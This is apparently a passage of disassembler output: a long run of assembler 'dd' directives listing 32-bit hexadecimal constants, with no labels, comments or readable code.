0A4B8AF45h dd 6F185863h, 7159006Eh, 84AE3242h, 7205F29Fh, 5CED7D45h dd 0F9D0D400h, 1ECE4CFFh, 7B1B2C7h, 30AC6FE8h, 795F072Eh dd 2B0C82B0h, 516B9977h, 0E00554CEh, 459806h, 0BBF9EE1Eh dd 8A19AFDDh, 7D81A600h, 0AA74D732h, 244C7CB8h, 7801117h dd 826E9A97h, 0EB80A7FCh, 29CFC52Dh, 0BD7C770Eh, 1C8685E2h dd 2F3E3404h, 98B50400h, 7000AAB8h, 0A1374472h, 0C1E9B8Fh dd 26CE6E7Fh, 0D80BD591h, 237D0Fh, 9F4CFC03h, 0C9F8287Ah dd 51E43BF6h, 0E680693Ch, 9AB71558h, 932BC141h, 82F00479h dd 1092672Eh, 0F54C007Ah, 0CC073009h, 0C41B3607h, 4FB127E0h dd 31D80121h, 8634B632h, 0F325F1C6h, 30746690h, 8D16805h dd 2C0171E1h, 0ADB8974Eh, 6E345184h, 94C141AEh, 29BE1E3Ah dd 2D966B81h, 0F018FBF2h, 1F00A17Bh, 8CD45643h, 3E152DEh dd 3386A283h, 610C4CB1h, 0C1CC8B01h, 0D23888A4h, 59C0577Dh dd 2A1935DFh, 0A7073A5h, 2EC2343h, 18724770h, 0A0803D03h dd 0EE63A006h, 960E37C1h, 278228E8h, 0C0BF35F0h, 0D9134CBh dd 8D2594CDh, 9D01F881h, 5286BB3Ch, 0B7C0004Ch, 0E6905028h dd 7B81096h, 0F64103E4h, 1875B6Fh, 19714E29h, 9E76563Ah dd 3856E2A8h, 9EE62103h, 145974C2h, 0F8589782h, 0E0BA0490h dd 7CA1AB56h, 15F91495h, 9900E883h, 0EC881401h, 61019E1Bh dd 0B856300Ah, 28885C2Eh, 0F590B445h, 442B8684h, 0FA4428DCh dd 471948D0h, 0C088E8D7h, 0CB5D8829h, 44844D90h, 51E44C2Dh dd 7EAF0071h, 76A8D2D3h dd 9009E3Bh, 0CEA3B594h, 649F4480h, 806D20A1h, 62B4131Ah dd 0F96FE700h, 0F7841D67h, 573E009Eh, 99E265DFh, 0C400B21Ah dd 8CD75B30h, 0F6AC1001h, 0B6F30074h, 661A1939h, 1700CE89h dd 75FC98CBh, 14D94Fh, 0A9E174C4h, 485411E6h, 0BCA7D800h dd 8221E5A3h, 0F79D00B2h, 0D2154914h, 0EF02C8FAh, 7C87CFAFh dd 89BCA2EBh, 0A400D50Fh, 0B36EDCDDh, 3EBD1B00h, 0DED79D0Ah dd 1A8C0027h, 0B16C105Dh, 0B0354F5h, 0BC2041E4h, 3C899075h dd 943B719Fh, 19240118h, 2416F5F4h, 887FECF4h, 915CB00h dd 70E1DE22h, 0C21B002Dh, 0CE37B1FCh, 3C00198Ah, 0B6BCA052h dd 0F44523h, 0DBB3ACADh, 4ED2A6C4h, 22A3AE00h, 0F8C75A4Bh dd 0F5C30740h, 46FB806Bh, 0FEE2317Dh, 5DB19600h, 4C8DD726h dd 438918D2h, 90043872h, 9127B003h, 0E06D2EC3h, 2E7F498h dd 58694F88h, 0F0C3C885h, 53BD4D98h, 517B5EB0h, 64845600h dd 0AC9022B6h, 0B4D100DBh, 6FEAEC18h, 0B1073A03h, 0F0B7DF1Bh dd 0E29029D7h, 3740C8h, 0CF1DCED8h, 0CA578895h, 258CDA60h dd 0EA8E7Ah, 69511A91h, 0A542D1E3h, 3AC7500h, 3CA1C4F9h dd 46500D6h, 87EA2A85h, 68007F57h, 0A02464CAh, 0FD81D1Ch dd 5111D72Fh, 7C9EA5h, 56392AB4h, 0DB1E84A2h, 3009C70h dd 0E086986Ch, 2BF5077Fh, 0B07E524Bh, 0C49E4D05h, 0FBE2C1Ch dd 73A643C0h, 1CB2E2Fh, 86B502D7h, 0D4997B7Dh, 611F75BBh dd 0E2D8A022h, 0F438831h, 68702032h, 5A4A50C0h, 0E4840E6h dd 312DA024h, 32501EFDh, 0C9FF4705h, 16EBC094h, 4F02A5C6h dd 788DAAF5h, 0E2344815h, 45110BE9h, 6880A719h, 0A6FED24Fh dd 98C6AE01h, 7CF99FF8h, 7F732C24h, 0BE8A00A9h, 0ECFE7E6Fh dd 4B009839h, 0CC3888E1h, 5E2B95h, 0FB454CBAh, 290F55F6h dd 0AFFED1E4h, 48B16700h, 2BDBC098h, 0E4020095h, 16507FE5h dd 0CD7C23F6h, 6CCB7E03h, 90804AAEh, 790FC2Fh, 0B8A9956Fh dd 0BA4D50C5h, 190E0E86h, 401F3253h, 999CBE3Dh, 2E330322h dd 0A7E30C6Ch, 683144D0h, 0AF003578h, 8D5DFAC6h, 1B1D87B6h dd 294C0E53h, 0FE909690h, 8FDED300h, 0B59B04D0h, 0C941005Ah dd 3D5F7175h, 5E0078A7h, 12735458h, 22A07ABh, 6681E04Dh dd 0A460515Dh, 6C000E69h, 7449A5F9h, 231CA1h, 448FFB86h dd 1B28CE6Fh, 5F2220C0h, 656D7Ah, 0BF617684h, 0B3F7608Ah dd 0C983091Eh, 2F3F1000h, 0F2819Fh, 0C2791B6Bh, 2DCEA854h dd 6F032473h, 90BF7588h, 0B5B898F6h, 9D84077Ah, 70456A89h dd 209F4665h, 0ECBC2A51h, 540036CDh, 0E54C30ACh, 0F456C2FFh dd 0D2EA86h, 0D0AB4543h, 36705751h, 5AB2CE0Eh, 974AE1F5h dd 852191BAh, 2CD8D4h, 0B5E0154Eh, 17BB81ABh, 3C00F090h dd 9E98318h, 5B3F85h, 13B93984h, 1A3B240Bh, 3AF92B00h dd 0D3082C58h, 0BE7A33h, 990767A4h, 7F97E39Ah, 84B68518h dd 50FA0C29h, 4CDA9395h, 0B00019AAh, 2968674Ch, 2607FD42h dd 9B9A58D6h, 604F8E02h, 202C08h, 292EEC85h, 0C65507C5h dd 0E3F1AE00h, 0EDBB1B1Eh, 974D007Fh, 6E3D20FCh, 1F029A13h dd 7E33DA56h, 7E075D41h, 27CCF7B8h, 1E68C05Ah, 9B01857Ch dd 0B593EAD2h, 0F7D04F54h, 228F001Fh, 0A3741E48h, 360021F8h dd 96435EDEh, 996D61h, 23F4534Ch, 6719C49Bh, 0B6DAEA1Ch dd 35EBEC00h, 3AD8AEh, 0E1FE482Fh, 0BE1EBD27h, 307C9600h dd 694B761h, 0D0753983h, 36B6012h, 0DD19A28Ah, 17B76880h dd 8F54073Dh, 207D1487h, 0D55EEF28h, 64890027h, 0EAF9E78h dd 0C800E526h, 0C5B14972h, 35BDE19h, 38F7D398h, 0BD88EE6Ah dd 0B63D4474h, 83D50042h, 0D0CDA10Fh, 15E90176h, 66B1DC3Bh dd 0CBD8E492h, 0B24DD500h, 79CC2381h, 0D2240072h, 0E72D2716h dd 94000D28h, 0E5DD4A8Fh, 0F826DCF9h, 3E0E007Ch, 46921472h dd 60024D0h, 0D7D88319h, 1EF66B71h, 0F8C19304h, 5E89127Ah dd 0A07E0003h, 78CEDFAh, 20C031F0h, 3AD9A22Dh, 53BA004Eh dd 49941093h, 91001FF4h, 0F60D5B80h, 76AB192Ch, 6F5800C0h dd 132870A8h, 9A00CC49h, 77253230h, 78B1184h, 0A3CFD3BFh dd 28E61006h, 750796B7h, 0C9CC4BB1h, 0B00848D0h, 400E1E50h dd 411E9CA8h, 57A05DE2h, 0F881DC25h, 0C092AC00h, 22D2FE87h dd 1B90080h, 3F839E88h, 5E00C5B2h, 1DF6D171h, 1AEB5Dh dd 28926AD5h, 58B295B5h, 648E6706h, 0EB0C77Ch, 131A39FEh dd 0AAC9005Ch, 63F1452Bh, 0F48EA100h, 69FB2E11h, 90CB0718h dd 53B4B06Bh, 0F7F09C3Dh, 5F1889A5h, 98118CCDh, 0EF990837h dd 0A40F9363h, 60ACCFB4h, 1EC30B2Fh, 31120C7Fh, 1F209290h dd 0F506B700h, 0ECD7A90Dh, 6FB41F7Ah, 0A12E8399h, 0A0F36096h dd 2898881Eh, 0B6DB7980h, 6753BBh, 0E7D9F12Ch, 0F3D89E60h dd 16E9DA00h, 40943DF7h, 17AF7FF0h, 7044FB8h, 40813FCFh dd 9B42F244h, 4DC20F07h, 40EEABA6h, 171953E9h, 0FFB70045h dd 387971BEh, 0DE0044F4h, 559463F5h, 0CB9E519h, 0B7E72ADDh dd 0B007EF19h, 6C3B0154h, 0ED5F00C9h, 587381C5h, 0F0CABABh dd 69542F9Ah, 11CF6700h, 6B50D58h, 0CE641866h, 1DE42029h dd 9AAD300h, 27C74C65h, 9FA200B2h, 0EEDB561Ah, 47005025h dd 0CC3EE629h, 0F69BF5h, 0B144BABh, 0A37F10D4h, 3D0225ECh dd 0C3FDDB1Bh, 0BA0240F8h, 37865876h, 0C07F9440h, 1EF7A848h dd 0D1006F21h, 5C60EA2h, 0A0A786E6h, 31DE1B8h, 4EF8EEE2h dd 0B0D7E008h, 8896B4D4h, 93CB0300h, 8BB20E17h, 0F659002Dh dd 587642CCh, 0A500D2DFh, 12D9C31Dh, 0DCF540h, 36F2C04Ch dd 0E5883B57h, 0FB556500h, 0C300F4Fh, 0F1EB09E4h, 1420AB58h dd 85C7FAAEh, 1D1FE0Eh, 59FD4028h, 1F085B74h, 809AA231h dd 0C2EBB83Bh, 10926573h, 0F663A1Ch, 0C6FDBB80h, 69932Fh dd 7132A255h, 6A8B91D5h, 5C073079h, 48A73957h, 6CD0F927h dd 0F280FFE8h, 5618C050h, 47A24C6Ah, 37DBEE02h, 402F259Fh dd 64AE80h, 7403D761h, 80E41B34h, 93C12E01h, 3E6CE51Ah dd 1FA27C24h, 4008AE85h, 0ACAD875h, 880723EAh, 28356A1Eh dd 13649900h, 0ABF50397h, 0F4EA9FB2h, 5CA22FA8h, 32311600h dd 15754C9h, 83F90090h, 0D5147330h, 0DF742D13h, 558F5B00h dd 0A2BBC0E3h, 4E7618h, 0A738D2A3h, 0B3DFAC9Bh, 11A62B00h dd 3EC3509Dh, 6E3F00B9h, 5675617Ah, 0ED5CA2F9h, 5EA100E8h dd 0D3C8F7EEh, 274A00F5h, 0FEF1FD94h, 50000D1Dh, 0C7C1DD92h dd 60912506h, 1C8CC83Eh, 713C5CADh, 1EEA140Eh, 63DB0E9Ch dd 0B3C9A0C8h, 8130CEh, 97DAB062h, 0F148232Bh, 3DA3B600h dd 26E902CBh, 6A5C1D60h, 61248071h, 0F46BCA7h, 34C2CE24h dd 0FC13DB00h, 149A327h, 94E3BB90h, 0D0E04262h, 0A0394178h dd 47190029h, 0ED9E0173h, 0E6A500DBh, 0BF39A3ECh, 59072A0Bh dd 19608F13h, 0F306D211h, 0FAD45821h, 39CBF075h, 0BE807647h dd 52A7E7E6h, 1B00F753h, 14D0E833h, 0D8062h, 9682860Bh dd 49B51AFEh, 0BBFFB800h, 687B4204h, 0E6BA000Ah, 5C34873h dd 0BD00717Ah, 61939095h, 3808E49Fh, 0F8731714h, 105B0032h dd 0FA72F0C4h, 3A00A812h, 1E7D0E31h, 0B014C52Bh, 0E3BF0054h dd 13F7E5D4h, 303BEBAh, 0B89C9B9h, 8FA188A0h, 0CCF1044Dh dd 0C0D35723h, 6BE7B0EBh, 8C9C0400h, 2246CA75h, 0E3E900B8h dd 38E0FFBBh, 7100480Fh, 0A53056A2h, 9827F9D6h, 71E1FE93h dd 0AAB00087h, 8EB99673h dd 5F007E0Dh, 3B320E93h, 0A55044h, 0C50C1887h, 0D1FA71A7h dd 792C1500h, 9A2E1A0Eh, 75BE3794h, 4A91F0A2h, 0EC00AC41h dd 0C6E107B0h, 0DA938Eh, 0CB1DF5F4h, 196CCCFBh, 6F0083FAh dd 1BE84947h, 2D456B86h, 6F58F13Ch, 0D433507h, 8B7063FDh dd 0E71083h, 2A051FC1h, 0A98C9FD8h, 81965800h, 1E8A3F98h dd 0AC0F4EC7h, 623F74h, 3AD23504h, 1D050E3Eh, 215A198h dd 347DBB31h, 86E5AA60h, 0C003698h, 9CF86CA6h, 0FBBC1C3h dd 7AAD7F2Eh, 0F6DF2840h, 66FA56FCh, 6120BB0h, 0A00D4C4h dd 3F47F286h, 0E5FF4C84h, 6B9CAA00h, 1D8FFA51h, 0FC5F8D00h dd 0B5C77A8h, 0B88206F6h, 78CE6893h, 68F095h, 6E8EC4BFh dd 39EEF1B3h, 6199071Eh, 0E0F887C0h, 1FB452h, 0E82AFBA4h dd 5A4ECFB7h, 721BD20Fh, 6A9A43DAh, 4F2C062h, 0C37800B2h dd 0FBE9311h, 0FA00BC5Ah, 61BAFE19h, 0F902ADh, 91840E29h dd 0F8E1D4B2h, 9E509400h, 2B4B2C06h, 0A4460075h, 606ECC1Eh dd 720085A5h, 0C5FBD302h, 0EE8A80h, 0A345E4E8h, 9ABD7997h dd 183C43Ah, 7F07026Bh, 19F40A11h, 90B41F82h, 0C478018h dd 6AE225AFh, 775CE800h, 3C1D5FADh, 8A302D8h, 40F78385h dd 2C74C480h, 952E6EFEh, 8B008A72h, 2FB0E39Ah, 63E41F73h dd 6AE90096h, 29BAB88Eh, 25B2E500h, 4DCACD4Fh, 0B5C20044h dd 0F8CB6740h, 9600EBA7h, 1DAC4C7Dh, 5C38BA94h, 300382Ah dd 0ABE2CEEh, 740495B0h, 0DC11662Eh, 0E8C9A781h, 35301180h dd 3C417526h, 56A00D27h, 3CAD12EBh, 1CB07D14h, 786123Eh dd 5DD9F208h, 0A4F9AB40h, 339128E6h, 883973FCh, 0A0F6F4CAh dd 64B32801h, 973C545h, 0AB2A20h, 1F5831F8h, 28BE2AC6h dd 66D60E00h, 7890A952h, 4DEC003Fh, 0B4542446h, 0CE07A17Dh dd 0E455511Ah, 1D6120B0h, 25DF00A4h, 37E5D8FCh, 0C33D8FB5h dd 2EA5809Eh, 85B48D58h, 28E4E675h, 0EF807BCh, 5CDA633h dd 0B041A583h, 86E039EAh, 870295DEh, 752CF6DBh, 0B004844h dd 83650005h, 584C47F1h, 9C0E07C1h, 0CF9ADD33h, 0CAE16037h dd 0E38B46Ah, 3B095C13h, 6662C740h, 0EE042316h, 5D56EC02h dd 0E4C51880h, 0E17FE41h, 4361FDEAh, 1B590580h, 1DEEFFFCh dd 44FE1F06h, 120E462h, 20AEAC1Ch, 0DC97250Dh, 0D900130Fh dd 0BE580A04h, 112174h, 0F3618E92h, 430CA096h, 0E08BAA00h dd 2834D0C4h, 905839F9h, 750216h, 0E2B80BF5h, 88007935h dd 255FBAD7h, 74F4EE7h, 98105E55h, 84AAB440h, 66EC0Ch dd 0CA25597Bh, 733BB47h, 0C397B7FEh, 77CFD0FCh, 73073B67h dd 0F4E6DBB8h, 3F61B410h, 0F6B2384Fh, 398FD500h, 0F3A70475h dd 5A7B6E00h, 0A208476Dh, 0D7650017h, 6FD53ED9h, 0DC03AE27h dd 2882D02Eh, 2211051Ah, 0C08E014Dh, 0B8EA4B03h, 0DECF1D00h dd 0D582B512h, 7A183CBFh, 0B4A36101h, 0D023CD7Ch, 9D007D99h dd 40AAD119h, 0E0C135h, 0A4E5C9F3h, 0D52475F4h, 0EA893300h dd 1C407865h, 9F8E03BBh, 9DF357E6h, 41E5DEF0h, 0C3580D00h dd 783A5DB4h, 8168381Fh, 59771Ch, 69E7F17Ah, 0E40052C9h dd 0F542DAD9h, 24F22950h, 764717h, 0B566FB4Ch, 0B700733Ch dd 0C986E44Fh, 0C1DAF4C0h, 0D15EC760h, 0AACC342Dh, 8073D207h dd 2C4103D8h, 18BC42ACh, 5410FB31h, 0C0A313C1h, 605DA75Fh dd 0E3891E7Bh, 19033E39h, 6FD31726h, 6096A0h, 0B44D8886h dd 0D2D89DAh, 59603CFEh, 49026471h, 0CE350FA1h, 801ECF97h dd 2FD8E058h, 3D02F1BFh, 0A14B1713h, 8E588E39h, 4E0190E9h dd 0C50B132Dh, 6312D05Dh, 9C3A6D2Ah, 9CB8D600h, 0FB22C777h dd 164A0051h, 0EE13BD0h, 0E6FEC917h, 342B1C00h, 0AEA1C599h dd 416900D7h, 33165329h, 48719C2Ah, 3CBD8601h, 92B64BFFh dd 0A1A2E4h, 0D5A6A71Eh, 2D4DB4F2h, 0FC2BB93Fh, 0A4165F1Fh dd 0E4415302h, 855480EFh, 7EBFF4D6h, 0D3130C4Bh, 0C308ED64h dd 0FEAA21C0h, 0C501F4h, 7BB2BDBAh, 23595CD5h, 0E507960h dd 0DA7691ACh, 0E081A668h, 0E6DB277Dh, 11EE1444h, 0B603297Fh dd 4E2D884Ah, 0A608281Ah, 754100B4h, 0B8472949h, 0A20A8613h dd 0FC57DB6Ah, 0C3880B40h, 0C5DF631h, 0D13ED449h, 8106C739h dd 20EFFFE4h, 82470011h, 78860C6Eh, 5D33334Dh, 0E0908A8h dd 6E7A1921h, 0C02E1B00h, 72FC437Fh, 0C1B9891Ah, 0F3468058h dd 9F2B24h, 0CFD0D2D8h, 0AC4AC727h, 61912E60h, 48A7E012h dd 0E81CEDD8h, 1508F3C0h, 0EAEC2100h, 6213EEE0h, 681D01CDh dd 0B88A0C97h, 92B98121h, 93447D7Bh, 1FE4B560h, 98707343h dd 2972D012h, 90C2C6B8h, 0C0A62488h, 1C8E9469h, 404E8C79h dd 0EEB252A8h, 48000CD1h, 0E2924945h, 0B0988026h, 7E120F15h dd 7A20655Ch, 863D225Dh, 552C8E00h, 8DDDC960h, 5FB00FCh dd 0EE70EFC5h, 0B80041BBh, 6366A531h, 6DBD5h, 0B1D88990h dd 71F07656h, 0EE1C7000h, 74CE75D9h, 0CBB93F5Ah, 0B62203F5h dd 0ABEC6561h, 0E7041143h, 0F601ED3h, 0F72E010h, 3D87C2CFh dd 112C829Eh, 122D2CE0h, 0C1893Fh, 42F188EBh, 0E3FDC68h dd 4E9683E7h, 52E38BA0h, 0BE00829Eh, 3E6C91B4h, 0F486BDAh dd 0EDD9BC35h, 866FC7C0h, 0B100EA25h, 27E2F1CCh, 0B27CC3h dd 898735E9h, 1E03B563h, 32FEBB02h, 0C1A32719h, 1E0A27Ch dd 0AD200716h, 0E9810Bh, 0B735868Bh, 0D9BBAC1Eh, 1D4DC380h dd 782BD531h, 7CCD78DAh, 0A7FC39h, 9201DD8Eh, 7D714C43h dd 3A005A73h, 6963B617h, 0E59979h, 0F247DB57h, 38D16468h dd 4C350D07h, 0E3DE9A1Dh, 0E87081D2h, 962DECh, 4173DAA9h dd 452E9277h, 3DFFEB0Ch, 7CC4283Bh, 0F0ED005Ah, 0E90DCC5Eh dd 201D1D27h, 0B1C04744h, 612AEB95h, 0CAE42A78h, 8D5000C4h dd 4CA4119Fh, 99EEB27Bh, 0E914C100h, 2098BB2Dh, 60897A1Ch dd 31121037h, 0F6441DAFh, 0D30C004Eh, 0CA098675h, 3E15EBF1h dd 0F0AAE1h, 0C0A8C716h, 1278777Bh, 0DB564Ch, 9E88694Bh dd 360B7493h, 776BD23Fh, 12899C01h, 5671C8C2h, 0A6E9E801h dd 672C6694h, 0E9E6230h, 0F51E9DC0h, 88C270A0h, 0BD004FECh dd 4769F32Bh, 679CF6h, 6BDB310Ah, 13D7CB3Fh, 684B7E00h dd 36ABAE5Eh, 0B27417h, 0EDD24899h, 150EB9D9h, 0DA01FF0Fh dd 1C0A406Ah, 284E3EA7h, 0F88CE8Fh, 3542C8F4h, 0A0B923C7h dd 0E256E6FDh, 0F9ED406h, 711F310h, 540AF279h, 9430B029h dd 2501FF6Ah, 5371522Dh, 61F4B6A3h, 0F9B9043Ah, 8072F111h dd 6DC825Fh, 0BFE7403Bh, 0F8C600B4h, 24D7EBD4h, 3620C197h dd 0D958E14Bh, 6E5E0F7h, 0D2FA6A04h, 410095B3h, 0DA62FC78h dd 492CEF00h, 9E3E6DA9h, 64210039h, 24AEEACh, 470EBCCAh dd 0DE569A6Bh, 35DF003Fh, 0DD75A9DBh, 504F00F8h, 0FE03D97Eh dd 0E4A01645h, 0BA889B5Dh, 0F2401547h, 0C00D895h, 16266A34h dd 0DE000235h, 32BDB793h, 4C4A99h, 0C74043BEh, 4EDD95FEh dd 46676C00h, 25A23ACFh, 3660042h, 1727E4B3h, 0FA00ECB9h dd 57F6567Eh, 0E568D6h, 724DD311h, 0EE3ABE1Ch, 0E3183400h dd 0AB4E9D3Eh, 0C40D002Eh, 0A084C691h, 8D50F007h, 880094C6h dd 77B5CC7Fh, 0CF2E5Eh, 8B626EE2h, 54FDF846h, 191CBA1Ch dd 59FA2440h, 9ED27Bh, 1B033116h, 3F6810F4h, 82324E1Ch dd 3C0117C0h, 0F884A2h, 698B3983h, 0E1259F09h, 0AF607667h dd 0AFE1BD0h, 0F78A00EEh, 23085155h, 0D775B861h, 3A5A700Ah dd 0A21E3CFCh, 1A8BA340h dd 1E868AB2h, 9CBF51h, 3895395Dh, 0AF1E18ECh, 6F809881h dd 5FA9108Eh, 4D29004Fh, 21861D55h, 0E300A2DDh, 640BBB33h dd 0E4BD4993h, 7A5200C8h, 1A7B6323h, 0F201B814h, 64E9E647h dd 9C4BFAFh, 564307DFh, 71949DAEh, 0D85AC8C5h, 0BD00FFA8h dd 0DC23C3A4h, 0BE9B54h, 25897321h, 6FBA79CCh, 0AB062671h dd 5FADDE6Dh, 0ECBD1FF8h, 0C325007Ch, 18DCC6A4h, 9DD93Ah dd 0ED650791h, 762331Ah, 404A7D85h, 3E873025h, 71E6DA5h dd 38809CE8h, 960C6F82h, 884700EFh, 0B93D79F7h, 3B00F8F1h dd 8E748D8Fh, 289B0C1Dh, 9C8971h, 54048120h, 0AEFA7DFBh dd 9D053800h, 48A31522h, 35D81C43h, 63CC40E0h, 3BB3969Fh dd 41F28A30h, 2C19AA3h, 395933D6h, 1440F657h, 0C300FC45h dd 0BE31888Fh, 520F67h, 90713258h, 811A7ABDh, 41E0C401h dd 0E5D9B8E9h, 7A6093E5h, 0BB0E0076h, 1704327Fh, 0E400CE2Dh dd 0A5E1E9B0h, 58A17D51h, 45009882h, 4AA36C75h, 8A00028Dh dd 571BA7E3h, 853978h, 5BD90DECh, 4CBDA086h, 0B821611Ch dd 0EDB95105h, 0B5220DC0h, 0B17F6085h, 0A518FCE9h, 0CE3E301Eh dd 8438DAB0h, 8A5038BDh, 95A11980h, 20D15921h, 177B33Eh dd 830F60EDh, 0B9C028B2h, 0EF4F00DBh, 187BE313h, 0B626EB69h dd 970A83C9h, 0D500BEE7h, 0F88C7F58h, 0CE0A00E1h, 6914952Bh dd 0A200E268h, 0BB25C478h, 0C6C902h, 0A9D5D8F7h, 0CD3C30F6h dd 4EA18E00h, 6661483Ah, 0C80E5C47h, 4C96A40Bh, 2E498480h dd 36003EE2h, 6E938A9Ah, 1F8B55Ah, 0D4C78677h, 0F04E2EA0h dd 2C0022A6h, 0EF2D9DECh, 5DF2AC0h, 64F55CB7h, 6CA4C240h dd 0BE59FC60h, 5F00A670h, 0E6760B72h, 7EF6FDh, 179871FAh dd 0AE16B4ADh, 0F5E17F00h, 2A254113h, 979E0006h, 7114C36h dd 0B13D78B9h, 3AEB0A32h, 2C02CC94h, 0AED35689h, 9FF820F0h dd 0B52B74h, 1C37CFC3h, 20E56B7Bh, 0EB3E6AFEh, 230674DAh dd 0A516E370h, 7EBF00F0h, 3DCC89B8h, 8B00B275h, 0DC7B7D8Eh dd 344626h, 2E96CEE5h, 0DA9EC099h, 0B0CAB100h, 47D4BA87h dd 0D08E0079h, 0C5E249F4h, 6A002876h, 0B099EE2Eh, 7E2354BBh dd 42CB00D6h, 775CAF0Ah, 0A7E092ABh, 0B5399700h, 0A9EDCCB0h dd 90589A26h, 3F7F016Ah, 0D61A46ABh, 9877C4F7h, 886EBF00h dd 581B164Dh, 7C4B009Bh, 34C273D1h, 4100A6FCh, 182C8E6Eh dd 0BC55F9h, 4CC44960h, 0CF1FD938h, 0AE2B2613h, 0BD1A0100h dd 20C0A5Bh, 0DF3C477Ah, 0C868C2EAh, 321EFD51h, 1703AF2Fh dd 98F4909Ah, 3E4123A6h, 11A865B7h, 7DAD0010h, 0A262F4C2h dd 1DB0EE23h, 0D10C5274h, 0D11C01A8h, 3E901D0h, 6B126342h dd 0E7088047h, 28660939h, 0A8F0FD1Eh, 0EA18A902h, 0F87B48E8h dd 0C27486h, 0F6555232h, 279EA242h, 3AD94000h, 0F079365Ch dd 0D84E0750h, 238106B2h, 0B003E889h, 1CFEEE7Fh, 0BCD918BBh dd 32F4611Bh, 0D023A318h, 10EE55B0h, 0C8FCA8CCh, 0B10ECh dd 8DCF65A7h, 0EBE4A9h, 0D462162Dh, 8B02B640h, 64526D01h dd 7371B7D1h, 0DAC6D080h, 1DD38E59h, 75006978h, 10704120h dd 38ABCEh, 0E2874425h, 32DC62EAh, 66908C00h, 9257B7E3h dd 8B7DBCh, 145536E7h, 0D7796B96h, 0BF294628h, 0F63A2607h dd 3501EB3Fh, 69E01DF7h, 0E6AB0006h, 0A3E91CB3h, 5E01D5EEh dd 0D3DFF5FAh, 16F9C9B4h, 0E6210F8h, 885140C2h, 6BFDE560h dd 7C000164h, 0C0424B21h, 0E1ADD15h, 5D388907h, 0CA42D60h dd 7603C7C1h, 34E52368h, 99F3A0F8h, 71DFA40h, 0B9CC33BDh dd 88A7E44Dh, 9B000860h, 18561FC8h, 0E7F3Fh, 36867EDh dd 0DD9DEE73h, 0BC9A4915h, 141E00CCh, 0D9EA01A6h, 0D6EF1BDFh dd 0D7C7185Ah, 0F6964311h, 185FAFF8h, 1D8A5D0Eh, 2FABE007h dd 760C520Dh, 0EDDF0082h, 1E9CFAA8h, 67013530h, 0D693888Ah dd 6880AF2Ah, 9C55C1C8h, 4B0C6537h, 81F68249h, 1EF0EA58h dd 0C19E5D22h, 9C83008h, 196CF08Bh, 0CE39F926h, 2BDDAF04h dd 0BFAE4883h, 81164C80h, 798A0076h, 0A998B36Ch, 9D00593Ch dd 291E4FD1h, 46EBDCh, 1AA77518h, 73EC26F3h, 8364FB03h dd 0A03142B1h, 26D6093Ch, 0A4A033Fh, 0ECBA16Fh, 0DE86A017h dd 0F7002084h, 0D71403C6h, 3E7ED2h, 0AE4E564Dh, 0EF183208h dd 0E6833500h, 0C6983AF5h, 0CCA5064Bh, 60360946h, 5E0027FAh dd 80380C47h, 0C0BCFD6h, 43E46CDh, 0BA1E3381h, 6DEB697h dd 0FE6A8B06h, 0C060B0A8h, 0AB593620h, 44005587h, 0D24D4AFFh dd 0F2B9C4h, 8CE61753h, 88083D75h, 709E5A02h, 40FD7C38h dd 7151ABh, 0A0EF4743h, 561DBAB2h, 0C87C70E3h, 9429F800h dd 68F04EADh, 0F7DA1FD5h, 1AC0801Bh, 24399BCFh, 9907807Ah dd 2F48F108h, 42C35257h, 1EF3F08Dh, 85CD00A2h, 0C3C140F5h dd 86061ACBh, 0CE3C7656h, 6A411B18h, 0C0C7206Bh, 51B04B4h dd 1F3E591Fh, 0FACA047Eh, 8500F6C6h, 0B251EB72h, 6B3D1E00h dd 0FF84A056h, 7AF34404h, 4549BE02h, 60FB6434h, 0DEE1A89Bh dd 0CE160081h, 7F9D7ED8h, 0E7E5F400h, 6BDAD473h, 0A64C1B9Ah dd 0E0C0897Ah, 74000DE2h, 491357A5h, 1D8BFDDh, 3E78F4EBh dd 8F3F4A8Ah, 0E1B8F76Eh, 0BB09C135h, 60A17F30h, 2EDB71E0h dd 5B00226Bh, 6747958Bh, 0CF99ADh, 40286A5Dh, 7053FD76h dd 0FFF96100h, 846FE334h, 0CF3B034Ch, 18C10471h, 181DD9E3h dd 290FA272h, 1EFEA0B9h, 0C47934Dh, 2F5A5957h, 4A16D430h dd 0A7019A07h, 0FE950506h, 2C318982h, 90803A17h, 9ABD1CC1h dd 0F6000DE6h, 0FFB76890h, 9B63C6h, 0D1F50622h, 89A93916h dd 3C577900h, 0BB6C0E6Fh, 4DB0002Bh, 0B9E4662Ch, 0E6007359h dd 92475235h, 31608C2h, 99883EAAh, 0C0A0BAEFh, 0B00D34Ch dd 0FDBB3827h, 1F4486B2h, 40805EFBh, 0A085714Dh, 0C70018E8h dd 86550549h, 46AF28h, 586E84F7h, 7454FE7Bh, 0CDB98504h dd 3C04571h, 3A4E04Ch, 0FD89439Ch, 0C08877AEh, 0D100E6C7h dd 0AB4B8029h, 8BFC37h, 7A43FEB3h, 83CA408Ah, 19280100h dd 93C5F65Eh, 0A0ED0013h, 1DD5394Fh, 0B00DE48h, 0D22F7EA4h dd 95F49Ah, 7D5425E7h, 84CC42EBh, 0F04739h, 0B253BE04h dd 2CC08629h, 0C01572h, 6A2E128h, 0BF001890h, 464D0103h dd 9555E8h, 836E76D1h, 0F7317CEh, 0B079961Dh, 0B1BD9B80h dd 352B4Ah, 9825EC82h, 37564260h, 0B0530E28h, 6B07CF00h dd 7E1A4A85h, 7A512A41h, 780485BCh, 54606889h, 87E88D10h dd 595F00FFh, 275D5ABDh, 4900BBA2h, 0FE89E446h, 1964B8EDh dd 298523AFh, 443908C9h, 2284EA5Ch, 95426B7Ch, 2163E411h dd 225F1DE6h, 225B0122h, 9242608Dh, 0AD69447Ah, 661C28A0h dd 0C008AE89h, 0DD617C45h, 1447298Eh, 0D09A1150h, 0F97ABA08h dd 889E4510h, 5608685Ah, 84CA90ECh, 0CE44B471h, 3C024A58h dd 2917860Ch, 4A51C05Dh, 0E158EBA8h, 7000B3E8h, 76051E7Ah dd 18E82580h, 20A67FFBh, 1A3DCEE4h, 0C3E78018h, 0F89C2ECh dd 422839BBh, 80C8D11Dh, 37FF52F4h, 3400D8CCh, 0C0C3ECA0h dd 6BAA47h, 2E997CABh, 0B6910488h, 76ACF03h, 889FD27Dh dd 29FEA6h, 44B1EB73h, 471A2771h, 1C3DB20Fh, 0C75446E6h dd 8E831C30h, 65BF47CAh, 0BD27BFD2h, 0DFA8106Eh, 0CB0E69AFh dd 803A38DAh, 0C02D93E1h, 519F1F5Dh, 64B0400Dh, 2E0B067Ah dd 0BCC5FC00h, 391B8231h, 0B52F008Ah, 4C47E104h, 0C1010EDAh dd 0E97A26BAh, 